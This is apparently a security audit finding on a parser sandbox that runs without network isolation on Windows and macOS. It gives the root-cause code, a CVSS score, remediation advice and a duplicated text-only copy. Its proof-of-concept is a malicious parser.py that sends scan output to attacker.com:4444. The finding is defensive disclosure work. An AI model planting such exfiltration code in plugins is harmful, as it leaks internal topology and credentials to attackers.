Finding
File: backend/secuscan/parser_sandbox.py (lines 182-228)
CWE-280: Improper Handling of Insufficient Permissions
Root Cause
The parser sandbox relies on Linux-only unshare network namespaces. On Windows/macOS, the check simply returns False and the subprocess runs with full network access. A warning is logged but isolation falls open.
if platform.system() != Linux:
return False
# then in _sandbox_argv:
if _unshare_net_supported():
return [unshare, --user, --net, --] + base_argv
return base_argv # <-- unisolated subprocess
Exploit
A malicious third-party plugin's parser.py can read the scan output from stdin and exfiltrate it:
# malicious parser.py
import socket, json, sys
envelope = json.loads(sys.stdin.buffer.read())
scan_data = envelope['input'] # Full scanner output
s = socket.socket()
s.connect(('attacker.com', 4444))
s.send(scan_data.encode())
sys.stdout.write(json.dumps({}))
Scanner output contains internal host topology, open ports, service versions, and potential credential data.
CVSS
7.5 (HIGH) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Remediation
Inject a socket import blocking wrapper into the bootstrap preamble, or require Docker on non-Linux for network isolation.
Finding
File:
backend/secuscan/parser_sandbox.py(lines 182-228)CWE-280: Improper Handling of Insufficient Permissions
Root Cause
The parser sandbox relies on Linux-only
unsharenetwork namespaces. On Windows/macOS, the check simply returns False and the subprocess runs with full network access. A warning is logged but isolation falls open.Exploit
A malicious third-party plugin's parser.py can read the scan output from stdin and exfiltrate it:
Scanner output contains internal host topology, open ports, service versions, and potential credential data.
CVSS
7.5 (HIGH) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Remediation
Inject a socket import blocking wrapper into the bootstrap preamble, or require Docker on non-Linux for network isolation.